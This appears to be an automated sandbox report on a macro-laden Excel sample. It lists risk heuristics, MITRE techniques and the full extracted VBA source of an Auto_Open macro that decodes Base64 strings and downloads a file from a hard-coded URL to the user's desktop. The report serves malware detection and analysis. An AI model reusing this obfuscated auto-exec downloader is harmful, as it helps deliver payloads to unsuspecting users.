MALICIOUS
168
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The sample is an Excel document containing an Auto_Open VBA macro. This macro decodes a Base64 string to obtain the URL 'http://192.168.170.149/test.txt' and a target path 'C:\Users\Agus\Desktop\file\'. It then uses WinHttp.WinHttpRequest.5.1 to download content from the URL and saves it to the specified file path. The presence of obfuscated auto-executing VBA code and the CreateObject call strongly indicate malicious intent, likely to download and execute a secondary payload.
Heuristics 5
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Const ForReading = 1, ForWriting = 2, ForAppending = 8 Set objFSO = CreateObject(DecodeBase64("U2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3Q=")) If objFSO.FolderExists(myPath) Then -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Const ForReading = 1, ForWriting = 2, ForAppending = 8 Set objFSO = CreateObject(DecodeBase64("U2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3Q=")) If objFSO.FolderExists(myPath) Then -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Attribute VB_Name = "Module1" Sub Auto_Open()
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2089 bytes |
SHA-256: cf5b55874a81ef9b77dfa4297c4a9e03549cad5e961e6ca2a9156ebb9391c51d |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()
Dim i, objFile, objFSO, def, strFile, strMsg, myPath, abc
myPath = DecodeBase64("QzpcVXNlcnNcQWd1c1xEZXNrdG9wXGZpbGVc")
abc = DecodeBase64("aHR0cDovLzE5Mi4xNjguMTcwLjE0OS90ZXN0LnR4dA==")
Const ForReading = 1, ForWriting = 2, ForAppending = 8
Set objFSO = CreateObject(DecodeBase64("U2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmplY3Q="))
If objFSO.FolderExists(myPath) Then
strFile = objFSO.BuildPath(myPath, Mid(abc, InStrRev(abc, "/") + 1))
ElseIf objFSO.FolderExists(Left(myPath, InStrRev(myPath, "\") - 1)) Then
strFile = myPath
Else
WScript.Echo "ERROR: Target folder not found."
Exit Sub
End If
Set objFile = objFSO.OpenTextFile(strFile, ForWriting, True)
Set def = CreateObject(DecodeBase64("V2luSHR0cC5XaW5IdHRwUmVxdWVzdC41LjE="))
def.Open DecodeBase64("R0VU"), abc, False
def.Send
For i = 1 To LenB(def.ResponseBody)
objFile.Write Chr(AscB(MidB(def.ResponseBody, i, 1)))
Next
End Sub
Function DecodeBase64(b64$)
Dim b
With CreateObject("Microsoft.XMLDOM").createElement("b64")
.DataType = "bin.base64": .Text = b64
b = .nodeTypedValue
With CreateObject("ADODB.Stream")
.Open: .Type = 1: .Write b: .Position = 0: .Type = 2: .Charset = "utf-8"
DecodeBase64 = .ReadText
.Close
End With
End With
End Function
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 22528 bytes |
SHA-256: cc55329feebd593450429e72cb9f488b7ac98f32b4fa9e2d20151d770eb40d3f |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.